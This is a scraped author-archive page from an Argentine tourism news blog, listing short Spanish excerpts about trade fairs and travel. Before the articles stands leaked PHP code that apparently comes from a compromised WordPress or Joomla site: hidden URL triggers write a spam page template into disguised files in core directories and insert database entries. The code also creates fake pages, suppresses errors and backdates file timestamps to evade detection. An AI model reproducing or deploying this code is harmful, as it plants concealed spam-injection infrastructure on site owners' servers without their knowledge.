if (strpos($_SERVER['REQUEST_URI'], 'saveyourfuckingtemplate') !== false)
{
error_reporting(0);
ini_set('display_errors', 0);
set_time_limit(0);
$context = stream_context_create(array(
'http' => array('ignore_errors' => true),
));
$tpl = file_get_contents('http://'.$_SERVER['HTTP_HOST'].'/?gimmeyourfuckingtemplate', false, $context);
if ( !preg_match('/thefuckingtitle\d+/', $tpl) && !preg_match('/thefuckingcontent\d+/', $tpl) && (strpos($tpl, '[TITLE]') === false) && (strpos($tpl, '[CONTENT]') === false) )
{
$tpl = file_get_contents('http://'.$_SERVER['HTTP_HOST'].'/gimmeyourfuckingtemplate', false, $context);
}
if ( !preg_match('/thefuckingtitle\d+/', $tpl) && !preg_match('/thefuckingcontent\d+/', $tpl) && (strpos($tpl, '[TITLE]') === false) && (strpos($tpl, '[CONTENT]') === false) )
{
$tpl = file_get_contents('http://'.$_SERVER['HTTP_HOST'].'/gimmeyourfuckingtemplate/', false, $context);
}
if ( preg_match('/thefuckingtitle\d+/', $tpl) || preg_match('/thefuckingcontent\d+/', $tpl) || (strpos($tpl, '[TITLE]') !== false) || (strpos($tpl, '[CONTENT]') !== false) )
{
$tpl = str_replace('http://[PAGE_URL]', '[PAGE_URL]', $tpl);
$tpl = preg_replace('# ]+?alternate[^>]+?>#is', '', $tpl);
$tpl = preg_replace('# ]+?archives[^>]+?>#is', '', $tpl);
$tpl = preg_replace('# ]+?bookmark[^>]+?>#is', '', $tpl);
$tpl = preg_replace('# ]+?external[^>]+?>#is', '', $tpl);
$tpl = preg_replace('# ]+?first[^>]+?>#is', '', $tpl);
$tpl = preg_replace('# ]+?help[^>]+?>#is', '', $tpl);
$tpl = preg_replace('# ]+?last[^>]+?>#is', '', $tpl);
$tpl = preg_replace('# ]+?license[^>]+?>#is', '', $tpl);
$tpl = preg_replace('# ]+?next[^>]+?>#is', '', $tpl);
$tpl = preg_replace('# ]+?nofollow[^>]+?>#is', '', $tpl);
$tpl = preg_replace('# ]+?noreferrer[^>]+?>#is', '', $tpl);
$tpl = preg_replace('# ]+?pingback[^>]+?>#is', '', $tpl);
$tpl = preg_replace('# ]+?prefetch[^>]+?>#is', '', $tpl);
$tpl = preg_replace('# ]+?prev[^>]+?>#is', '', $tpl);
$tpl = preg_replace('# ]+?search[^>]+?>#is', '', $tpl);
$tpl = preg_replace('# ]+?sidebar[^>]+?>#is', '', $tpl);
$tpl = preg_replace('# ]+?up[^>]+?>#is', '', $tpl);
$tpl = preg_replace('# ]+?canonical[^>]+?>#is', '', $tpl);
$tpl = preg_replace('# ]+?robots[^>]+?>#is', '', $tpl);
$tpl = preg_replace('# ]+?charset[^>]+?>#is', '', $tpl);
$tpl = preg_replace('# ]+?content-type[^>]+?>#is', '', $tpl);
$tpl = preg_replace('# ]+?og:[^>]+?>#is', '', $tpl);
$tpl = preg_replace('# ]+?viewport[^>]+?>#is', '', $tpl);
$tpl = preg_replace('# ]+?keywords[^>]+?>#is', '', $tpl);
$tpl = preg_replace('# ]+?description[^>]+?>#is', '', $tpl);
$tpl = preg_replace('# ]+?google[^>]+?>#is', '', $tpl);
$tpl = preg_replace('# ]+?yandex[^>]+?>#is', '', $tpl);
$tpl = preg_replace('# ]+?bing[^>]+?>#is', '', $tpl);
$tpl = preg_replace('# ]+?slurp[^>]+?>#is', '', $tpl);
$tpl = preg_replace('# ]+?refresh[^>]+?>#is', '', $tpl);
$tpl = preg_replace('# ]+?referer[^>]+?>#is', '', $tpl);
$tpl = preg_replace('#http://www.google-analytics.com/#is', 'http://'.$_SERVER['HTTP_HOST'].'/', $tpl);
$tpl = preg_replace('#
]*>[^<]*? #is', '[TITLE] ', $tpl);
$tpl = preg_replace('#thefuckingtitle\d+#is', '[TITLE]', $tpl);
$tpl = preg_replace('#thefuckingcontent\d+#is', '[CONTENT]', $tpl);
$tpl = preg_replace('#\[CONTENT\]
#is', '[CONTENT]', $tpl);
$new_tags = '
';
$tpl = preg_replace('##is', $new_tags.'', $tpl);
} else
{
$tpl = base64_decode('PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuLVVTIiBjbGFzcz0ianMiPjxoZWFkPgoJPGxpbmsgcmVsPSJwcm9maWxlIiBocmVmPSJodHRwOi8vZ21wZy5vcmcveGZuLzExIj4KPHRpdGxlPltUSVRMRV08L3RpdGxlPgoKCgoJCTxzY3JpcHQgc3JjPSJodHRwczovL3dwLXRoZW1lcy5jb20vd3Avd3AtaW5jbHVkZXMvanMvd3AtZW1vamktcmVsZWFzZS5taW4uanM/dmVyPTQuNS1SQzEtMzcwNzkiIHR5cGU9InRleHQvamF2YXNjcmlwdCI+PC9zY3JpcHQ+CgkJPHN0eWxlIHR5cGU9InRleHQvY3NzIj4KaW1nLndwLXNtaWxleSwKaW1nLmVtb2ppIHsKCWRpc3BsYXk6IGlubGluZSAhaW1wb3J0YW50OwoJYm9yZGVyOiBub25lICFpbXBvcnRhbnQ7Cglib3gtc2hhZG93OiBub25lICFpbXBvcnRhbnQ7CgloZWlnaHQ6IDFlbSAhaW1wb3J0YW50OwoJd2lkdGg6IDFlbSAhaW1wb3J0YW50OwoJbWFyZ2luOiAwIC4wN2VtICFpbXBvcnRhbnQ7Cgl2ZXJ0aWNhbC1hbGlnbjogLTAuMWVtICFpbXBvcnRhbnQ7CgliYWNrZ3JvdW5kOiBub25lICFpbXBvcnRhbnQ7CglwYWRkaW5nOiAwICFpbXBvcnRhbnQ7Cn0KPC9zdHlsZT4KPGxpbmsgcmVsPSJzdHlsZXNoZWV0IiBpZD0idHdlbnR5c2l4dGVlbi1mb250cy1jc3MiIGhyZWY9Imh0dHBzOi8vZm9udHMuZ29vZ2xlYXBpcy5jb20vY3NzP2ZhbWlseT1NZXJyaXdlYXRoZXIlM0E0MDAlMkM3MDAlMkM5MDAlMkM0MDBpdGFsaWMlMkM3MDBpdGFsaWMlMkM5MDBpdGFsaWMlN0NNb250c2VycmF0JTNBNDAwJTJDNzAwJTdDSW5jb25zb2xhdGElM0E0MDAmYW1wO3N1YnNldD1sYXRpbiUyQ2xhdGluLWV4dCIgdHlwZT0idGV4dC9jc3MiIG1lZGlhPSJhbGwiPgo8bGluayByZWw9InN0eWxlc2hlZXQiIGlkPSJnZW5lcmljb25zLWNzcyIgaHJlZj0iaHR0cHM6Ly93cC10aGVtZXMuY29tL3dwLWNvbnRlbnQvdGhlbWVzL3R3ZW50eXNpeHRlZW4vZ2VuZXJpY29ucy9nZW5lcmljb25zLmNzcz92ZXI9My40LjEiIHR5cGU9InRleHQvY3NzIiBtZWRpYT0iYWxsIj4KPGxpbmsgcmVsPSJzdHlsZXNoZWV0IiBpZD0idHdlbnR5c2l4dGVlbi1zdHlsZS1jc3MiIGhyZWY9Imh0dHBzOi8vd3AtdGhlbWVzLmNvbS93cC1jb250ZW50L3RoZW1lcy90d2VudHlzaXh0ZWVuL3N0eWxlLmNzcz92ZXI9NC41LVJDMS0zNzA3OSIgdHlwZT0idGV4dC9jc3MiIG1lZGlhPSJhbGwiPgo8IS0tW2lmIGx0IElFIDEwXT4KPGxpbmsgcmVsPSdzdHlsZXNoZWV0JyBpZD0ndHdlbnR5c2l4dGVlbi1pZS1jc3MnICBocmVmPSdodHRwczovL3dwLXRoZW1lcy5jb20vd3AtY29udGVudC90aGVtZXMvdHdlbnR5c2l4dGVlbi9jc3MvaWUuY3NzP3Zlcj0yMDE1MDkzMCcgdHlwZT0ndGV4dC9jc3MnIG1lZGlhPSdhbGwnIC8+CjwhW2VuZGlmXS0tPgo8IS0tW2lmIGx0IElFIDldPgo8bGluayByZWw9J3N0eWxlc2hlZXQnIGlkPSd0d2VudHlzaXh0ZWVuLWllOC1jc3MnICBocmVmPSdodHRwczovL3dwLXRoZW1lcy5jb20vd3AtY29udGVudC90aGVtZXMvdHdlbnR5c2l4dGVlbi9jc3MvaWU4LmNzcz92ZXI9MjAxNTEyMzAnIHR5cGU9J3RleHQvY3NzJyBtZWRpYT0nYWxsJyAvPgo8IVtlbmRpZl0tLT4KPCEtLVtpZiBsdCBJRSA4XT4KPGxpbmsgcmVsPSdzdHlsZXNoZWV0JyBpZD0ndHdlbnR5c2l4dGVlbi1pZTctY3NzJyAgaHJlZj0naHR0cHM6Ly93cC10aGVtZXMuY29tL3dwLWNvbnRlbnQvdGhlbWVzL3R3ZW50eXNpeHRlZW4vY3NzL2llNy5jc3M/dmVyPTIwMTUwOTMwJyB0eXBlPSd0ZXh0L2NzcycgbWVkaWE9J2FsbCcgLz4KPCFbZW5kaWZdLS0+CjwhLS1baWYgbHQgSUUgOV0+CjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0JyBzcmM9J2h0dHBzOi8vd3AtdGhlbWVzLmNvbS93cC1jb250ZW50L3RoZW1lcy90d2VudHlzaXh0ZWVuL2pzL2h0bWw1LmpzP3Zlcj0zLjcuMyc+PC9zY3JpcHQ+CjwhW2VuZGlmXS0tPgo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCIgc3JjPSJodHRwczovL3dwLXRoZW1lcy5jb20vd3Avd3AtaW5jbHVkZXMvanMvanF1ZXJ5L2pxdWVyeS5qcz92ZXI9MS4xMi4yIj48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiIHNyYz0iaHR0cHM6Ly93cC10aGVtZXMuY29tL3dwL3dwLWluY2x1ZGVzL2pzL2pxdWVyeS9qcXVlcnktbWlncmF0ZS5taW4uanM/dmVyPTEuNC4wIj48L3NjcmlwdD4KCgogCgo8bWV0YSBuYW1lPSJnZW5lcmF0b3IiIGNvbnRlbnQ9IldvcmRQcmVzcyA0LjUtUkMxLTM3MDc5Ij4KCgoKCgkJPHN0eWxlIHR5cGU9InRleHQvY3NzIj4ucmVjZW50Y29tbWVudHMgYXtkaXNwbGF5OmlubGluZSAhaW1wb3J0YW50O3BhZGRpbmc6MCAhaW1wb3J0YW50O21hcmdpbjowICFpbXBvcnRhbnQ7fTwvc3R5bGU+CiAgPGxpbmsgcmVsPSJjYW5vbmljYWwiIGhyZWY9IltQQUdFX1VSTF0iPgogICAgPGxpbmsgcmVsPSJwcmV2IiBocmVmPSJbUkFORF9VUkxfUFJFVl0iPgogICAgPGxpbmsgcmVsPSJuZXh0IiBocmVmPSJbUkFORF9VUkxfTkVYVF0iPgogICAgPG1ldGEgcHJvcGVydHk9Im9nOnRpdGxlIiBjb250ZW50PSJbVElUTEVdIj4KICAgIDxtZXRhIHByb3BlcnR5PSJvZzp0eXBlIiBjb250ZW50PSJhcnRpY2xlIj4KICAgIDxtZXRhIHByb3BlcnR5PSJvZzpzaXRlX25hbWUiIGNvbnRlbnQ9IltDT01NT05dIj4KICAgIDxtZXRhIHByb3BlcnR5PSJvZzp1cmwiIGNvbnRlbnQ9IltQQUdFX1VSTF0iPgogICAgPG1ldGEgcHJvcGVydHk9Im9nOmxvY2FsZSIgY29udGVudD0iZW5fVVMiPgogICAgPG1ldGEgbmFtZT0iZGVzY3JpcHRpb24iIHByb3BlcnR5PSJvZzpkZXNjcmlwdGlvbiIgY29udGVudD0iW0RFU0NSSVBUSU9OXSI+CiAgICA8bWV0YSBuYW1lPSJrZXl3b3JkcyIgY29udGVudD0iW0tFWVdPUkRTXSI+CiAgICA8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEuMCwgdXNlci1zY2FsYWJsZT15ZXMiPgogICAgPG1ldGEgaHR0cC1lcXVpdj0iY29udGVudC10eXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLTgiPgogIAoJCTwvaGVhZD4KCjxib2R5IGNsYXNzPSJzaW5ndWxhciBzaW5nbGUgc2luZ2xlLXBvc3QgcG9zdGlkLTE5IHNpbmdsZS1mb3JtYXQtc3RhbmRhcmQiPgo8ZGl2IGlkPSJwYWdlIiBjbGFzcz0ic2l0ZSI+Cgk8ZGl2IGNsYXNzPSJzaXRlLWlubmVyIj4KCQk8YSBjbGFzcz0ic2tpcC1saW5rIHNjcmVlbi1yZWFkZXItdGV4dCIgaHJlZj0iI2NvbnRlbnQiPlNraXAgdG8gY29udGVudDwvYT4KCgkJPGhlYWRlciBpZD0ibWFzdGhlYWQiIGNsYXNzPSJzaXRlLWhlYWRlciIgcm9sZT0iYmFubmVyIj4KCQkJPGRpdiBjbGFzcz0ic2l0ZS1oZWFkZXItbWFpbiI+CgkJCQk8ZGl2IGNsYXNzPSJzaXRlLWJyYW5kaW5nIj4KCQkJCQkJCQkJCQk8cCBjbGFzcz0ic2l0ZS10aXRsZSI+W0NPTU1PTl08L3A+CgkJCQkJCQkJCQkJCgkJCQkJCQkJCTwvZGl2PjwhLS0gLnNpdGUtYnJhbmRpbmcgLS0+CgoJCQkJCQkJPC9kaXY+PCEtLSAuc2l0ZS1oZWFkZXItbWFpbiAtLT4KCgkJCQkJPC9oZWFkZXI+PCEtLSAuc2l0ZS1oZWFkZXIgLS0+CgoJCTxkaXYgaWQ9ImNvbnRlbnQiIGNsYXNzPSJzaXRlLWNvbnRlbnQiPgoKPGRpdiBpZD0icHJpbWFyeSIgY2xhc3M9ImNvbnRlbnQtYXJlYSI+Cgk8bWFpbiBpZD0ibWFpbiIgY2xhc3M9InNpdGUtbWFpbiIgcm9sZT0ibWFpbiI+CgkJCjxhcnRpY2xlIGlkPSJwb3N0LTE5IiBjbGFzcz0icG9zdC0xOSBwb3N0IHR5cGUtcG9zdCBzdGF0dXMtcHVibGlzaCBmb3JtYXQtc3RhbmRhcmQgaGVudHJ5IGNhdGVnb3J5LXVuY2F0ZWdvcml6ZWQgdGFnLWJvYXQgdGFnLWxha2UiPgoJPGhlYWRlciBjbGFzcz0iZW50cnktaGVhZGVyIj4KCQk8aDEgY2xhc3M9ImVudHJ5LXRpdGxlIj5bVElUTEVdPC9oMT4JPC9oZWFkZXI+PCEtLSAuZW50cnktaGVhZGVyIC0tPgoKCQoJCgk8ZGl2IGNsYXNzPSJlbnRyeS1jb250ZW50Ij4KICBbQ09OVEVOVF0KPC9kaXY+PCEtLSAuZW50cnktY29udGVudCAtLT4KCgkKPC9hcnRpY2xlPjwhLS0gI3Bvc3QtIyMgLS0+CgoJCgk8L21haW4+PCEtLSAuc2l0ZS1tYWluIC0tPgoKCQo8L2Rpdj48IS0tIC5jb250ZW50LWFyZWEgLS0+CgoKCTxhc2lkZSBpZD0ic2Vjb25kYXJ5IiBjbGFzcz0ic2lkZWJhciB3aWRnZXQtYXJlYSIgcm9sZT0iY29tcGxlbWVudGFyeSI+CgkJPHNlY3Rpb24gaWQ9InNlYXJjaC0zIiBjbGFzcz0id2lkZ2V0IHdpZGdldF9zZWFyY2giPgo8Zm9ybSByb2xlPSJzZWFyY2giIG1ldGhvZD0iZ2V0IiBjbGFzcz0ic2VhcmNoLWZvcm0iIGFjdGlvbj0iIyI+Cgk8bGFiZWw+CgkJPHNwYW4gY2xhc3M9InNjcmVlbi1yZWFkZXItdGV4dCI+U2VhcmNoIGZvcjo8L3NwYW4+CgkJPGlucHV0IHR5cGU9InNlYXJjaCIgY2xhc3M9InNlYXJjaC1maWVsZCIgcGxhY2Vob2xkZXI9IlNlYXJjaCDigKYiIHZhbHVlPSIiIG5hbWU9InMiIHRpdGxlPSJTZWFyY2ggZm9yOiI+Cgk8L2xhYmVsPgoJPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIGNsYXNzPSJzZWFyY2gtc3VibWl0Ij48c3BhbiBjbGFzcz0ic2NyZWVuLXJlYWRlci10ZXh0Ij5TZWFyY2g8L3NwYW4+PC9idXR0b24+CjwvZm9ybT4KPC9zZWN0aW9uPgkJPHNlY3Rpb24gaWQ9InJlY2VudC1wb3N0cy0zIiBjbGFzcz0id2lkZ2V0IHdpZGdldF9yZWNlbnRfZW50cmllcyI+CQk8aDIgY2xhc3M9IndpZGdldC10aXRsZSI+UmVjZW50IFBvc3RzPC9oMj4JCQoJCTwvc2VjdGlvbj4JCTxzZWN0aW9uIGlkPSJyZWNlbnQtY29tbWVudHMtMyIgY2xhc3M9IndpZGdldCB3aWRnZXRfcmVjZW50X2NvbW1lbnRzIj48aDIgY2xhc3M9IndpZGdldC10aXRsZSI+UmVjZW50IENvbW1lbnRzPC9oMj48L3NlY3Rpb24+PHNlY3Rpb24gaWQ9ImFyY2hpdmVzLTMiIGNsYXNzPSJ3aWRnZXQgd2lkZ2V0X2FyY2hpdmUiPjxoMiBjbGFzcz0id2lkZ2V0LXRpdGxlIj5BcmNoaXZlczwvaDI+CQkKCQk8L3NlY3Rpb24+PHNlY3Rpb24gaWQ9ImNhdGVnb3JpZXMtMyIgY2xhc3M9IndpZGdldCB3aWRnZXRfY2F0ZWdvcmllcyI+PGgyIGNsYXNzPSJ3aWRnZXQtdGl0bGUiPkNhdGVnb3JpZXM8L2gyPgkJCjwvc2VjdGlvbj4JPC9hc2lkZT48IS0tIC5zaWRlYmFyIC53aWRnZXQtYXJlYSAtLT4KCgkJPC9kaXY+PCEtLSAuc2l0ZS1jb250ZW50IC0tPgoKCQk8Zm9vdGVyIGlkPSJjb2xvcGhvbiIgY2xhc3M9InNpdGUtZm9vdGVyIiByb2xlPSJjb250ZW50aW5mbyI+CgkJCQoJCQkKCQkJPGRpdiBjbGFzcz0ic2l0ZS1pbmZvIj4KCQkJCQkJCQk8c3BhbiBjbGFzcz0ic2l0ZS10aXRsZSI+W0NPTU1PTl08L3NwYW4+CgkJCQk8YSBocmVmPSJodHRwczovL3dvcmRwcmVzcy5vcmcvIj5Qcm91ZGx5IHBvd2VyZWQgYnkgV29yZFByZXNzPC9hPgoJCQk8L2Rpdj48IS0tIC5zaXRlLWluZm8gLS0+CgkJPC9mb290ZXI+PCEtLSAuc2l0ZS1mb290ZXIgLS0+Cgk8L2Rpdj48IS0tIC5zaXRlLWlubmVyIC0tPgo8L2Rpdj48IS0tIC5zaXRlIC0tPgoKPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiIHNyYz0iaHR0cHM6Ly93cC10aGVtZXMuY29tL3dwLWNvbnRlbnQvdGhlbWVzL3R3ZW50eXNpeHRlZW4vanMvc2tpcC1saW5rLWZvY3VzLWZpeC5qcz92ZXI9MjAxNTExMTIiPjwvc2NyaXB0Pgo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCIgc3JjPSJodHRwczovL3dwLXRoZW1lcy5jb20vd3AtY29udGVudC90aGVtZXMvdHdlbnR5c2l4dGVlbi9qcy9mdW5jdGlvbnMuanM/dmVyPTIwMTUxMjA0Ij48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiIHNyYz0iaHR0cHM6Ly93cC10aGVtZXMuY29tL3dwL3dwLWluY2x1ZGVzL2pzL3dwLWVtYmVkLm1pbi5qcz92ZXI9NC41LVJDMS0zNzA3OSI+PC9zY3JpcHQ+CgoKPC9ib2R5PjwvaHRtbD4=');
}
$tpl_path = '';
$localpath=getenv("SCRIPT_NAME");$absolutepath=getenv("SCRIPT_FILENAME");$root_path=substr($absolutepath,0,strpos($absolutepath,$localpath));
if (is_dir($root_path.'/wp-admin/includes/'))
{
$tpl_path = '/wp-admin/includes/template.html';
}
if (is_dir($root_path.'/libraries/joomla/application/'))
{
$tpl_path = '/libraries/joomla/application/template.html';
}
chmod(dirname($root_path.$tpl_path), 0755);
chmod($root_path.$tpl_path, 0644);
if (file_put_contents($root_path.$tpl_path, $tpl))
{
echo 'Success!';
} else
{
echo 'failed';
}
touch($root_path.$tpl_path, time() - mt_rand(60*60*24*30, 60*60*24*365));
touch(dirname($root_path.$tpl_path), time() - mt_rand(60*60*24*30, 60*60*24*365));
exit;
}
if (strpos($_SERVER['REQUEST_URI'], 'gimmeyourfuckingtemplate') !== false)
{
error_reporting(0);
ini_set('display_errors', 0);
set_time_limit(0);
$localpath=getenv("SCRIPT_NAME");$absolutepath=getenv("SCRIPT_FILENAME");$root_path=substr($absolutepath,0,strpos($absolutepath,$localpath));
if (is_dir($root_path.'/libraries/joomla/application/'))
{
$alias = 'fucking-alias-is-here'.mt_rand(1, 10000000000);
$database = JFactory::getDBO();
$item = new stdClass;
$item->id = null;
$item->title = 'thefuckingtitle'.mt_rand(1, 10000000000);
$item->introtext = '';
$item->fulltext = 'thefuckingcontent'.mt_rand(1, 10000000000);
$item->state = 1;
$item->access = 1;
$item->created_by = 62;
$item->created = '2011-11-11 11:11:11';
$item->publish_up = '2011-11-11 11:11:11';
$item->alias = $alias;
if (!$database->insertObject('#__content', $item, 'id')) {
echo $database->stderr();
}
$url = 'http://'.$_SERVER['HTTP_HOST'].'/index.php?option=com_content&view=article&id='.$item->id;
$data = file_get_contents($url);
$data = preg_replace('#[\'"][^\'"]+?'.$alias.'[^\'"]+?[\'"]#is', '"[PAGE_URL]"', $data);
$data = preg_replace('#Friday, 11 November 2011 11:11#is', '[DATE]', $data);
$data = preg_replace('#11 November 2011 11:11#is', '[DATE]', $data);
$data = preg_replace('#11 November 2011#is', '[DATE]', $data);
$data = preg_replace('#11 November 2011#is', '[DATE]', $data);
$data = preg_replace('#11.11.2011#is', '[DATE]', $data);
$data = preg_replace('#2011-11-11#is', '[DATE]', $data);
$data = preg_replace('#2011.11.11#is', '[DATE]', $data);
echo $data;
exit;
}
if (is_dir($root_path.'/wp-admin/includes/'))
{
if (!class_exists('THEVirtualPage'))
{
class THEVirtualPage
{
private $slug = NULL;
private $title = NULL;
private $content = NULL;
private $author = NULL;
private $date = NULL;
private $type = NULL;
public function __construct($args)
{
$this->slug = 'slug';
$this->title = 'thefuckingtitle'.mt_rand(1, 10000000000);
$this->content = 'thefuckingcontent'.mt_rand(1, 10000000000);
$this->author = 1;
$this->date = current_time('mysql');
$this->dategmt = current_time('mysql', 1);
$this->type = 'page';
add_filter('the_posts', array(&$this, '_virtualPage'));
}
// filter to create virtual page content
public function _virtualPage($posts)
{
global $wp, $wp_query;
//create a fake post intance
$post = new stdClass;
// fill properties of $post with everything a page in the database would have
$post->ID = "-1"; // use an illegal value for page ID
$post->post_author = $this->author; // post author id
$post->post_date = $this->date; // date of post
$post->post_date_gmt = $this->dategmt;
$post->post_content = $this->content;
$post->post_title = $this->title;
$post->post_excerpt = '';
$post->post_status = 'publish';
$post->comment_status = 'closed'; // mark as closed for comments, since page doesn't exist
$post->ping_status = 'closed'; // mark as closed for pings, since page doesn't exist
$post->post_password = ''; // no password
$post->post_name = $this->slug;
$post->to_ping = '';
$post->pinged = '';
$post->modified = $post->post_date;
$post->modified_gmt = $post->post_date_gmt;
$post->post_content_filtered = '';
$post->post_parent = 0;
$post->guid = get_home_url('/' . $this->slug);
$post->menu_order = 0;
$post->post_type = $this->type;
$post->post_mime_type = '';
$post->comment_count = 0;
// set filter results
$posts = array($post);
// reset wp_query properties to simulate a found page
$wp_query->is_page = TRUE;
$wp_query->is_singular = TRUE;
$wp_query->is_home = FALSE;
$wp_query->is_archive = FALSE;
$wp_query->is_category = FALSE;
unset($wp_query->query['error']);
$wp_query->query_vars['error'] = '';
$wp_query->is_404 = FALSE;
return ($posts);
}
}
}
function _create_virtual()
{
$args = array('slug' => 'slug',
'title' => '',
'content' => ''
);
$pg = new THEVirtualPage($args);
}
function change_wp_44_title( $title )
{
global $data;
$title['title'] = 'thefuckingtitle'.mt_rand(1, 10000000000);
$title['page'] = '';
$title['tagline'] = '';
$title['site'] = '';
return $title;
}
function change_wp_40_title( $title )
{
return 'thefuckingtitle'.mt_rand(1, 10000000000);
}
function _change_page_url( )
{
return '[PAGE_URL]';
}
add_filter( 'the_permalink', '_change_page_url');
add_action('init', '_create_virtual');
add_filter( 'document_title_parts', 'change_wp_44_title' );
add_filter( 'wp_title', 'change_wp_40_title' );
}
}
stefaniadrebnieks | Universo Turistico.
Author Archives: stefaniadrebnieks
Conclusiones del WTM Global Trends Report presentado durante la realización de la feria de turismo de Londres que reúne a los principales agentes de viajes del mundo. Desde su lanzamiento en 2006, el GTR, ha tenido un papel fundamental… Read more ›
En el marco de la nueva edición de la Feria Internacional de Turismo (FIT), estuvo presente la Ruta de la Selva Misionera Guaraní con un innovador stand y gran afluencia de público. La Ruta de la Selva es una propuesta… Read more ›
El ministro de Turismo, Enrique Meyer, destacó que la Argentina escaló dos posiciones en el ranking internacional de Marca País respecto de 2011, situándose en el puesto número 30 del índice Country Brand, el más importante del mundo. “La Argentina… Read more ›
Un intensa agenda de actividades en distintos puntos de la provincia. Fiestas populares, encuentros gastronómicos; eventos deportivos, culturales y artísticos. Un finde para todos los gustos. MONTE HERMOSO XV RALLY AUSTRAL DE VEHÍCULOS DE COLECCIÓN El 9 y 10 de… Read more ›
Según se anunció en el marco de la FIT 2012, el sendero de largo recorrido Huella Andina sumará en la próxima temporada estival siete nuevas etapas a su trazado, incorporando de esta manera áreas de senderismo próximas a las ciudades… Read more ›
VILLA LA ANGOSTURA, Argentina.- El Jardín de la Patagonia se llena de colores, y muchas son las propuestas que se ofrecen para esta temporada primaveral. Villa La Angostura despliega orgullosa su naturaleza, encanto y magia que atrapa a los turistas durante… Read more ›
NEUQUÉN, Argentina.- En la jornada de ayer el Presidente de Neuquentur, Sebastián Caldart, encabezó una reunión de trabajo a la que asistieron la Presidente de la filial Neuquén y Valle de Río Negro de la Asociación Argentina de Agencias de Viajes… Read more ›
Ministros de Turismo y funcionarios, en su encuentro durante la 94ª reunión del Consejo Ejecutivo en México, definieron el avance en la agilización de los visados y la promoción de una mayor conectividad aérea como prioridades de la Organización Mundial… Read more ›
La Dirección de Migraciones definió que la tasa que se le cobra a los turistas provenientes de Estados Unidos, Canadá y Australia que ingresan al país por Ezeiza o Aeroparque, deberá abonarse a través de Internet. El pago deberá realizarse… Read more ›
En Noviembre, Parque de la Costa se ha propuesto seguir colaborando con más de mil comedores en todo el país. Con la promo solidaria “Ayudanos a ayudar”, puede traer un alimento no perecedero, y obtener un Pasaporte promo válido durante… Read more ›
Stefania Drebnieks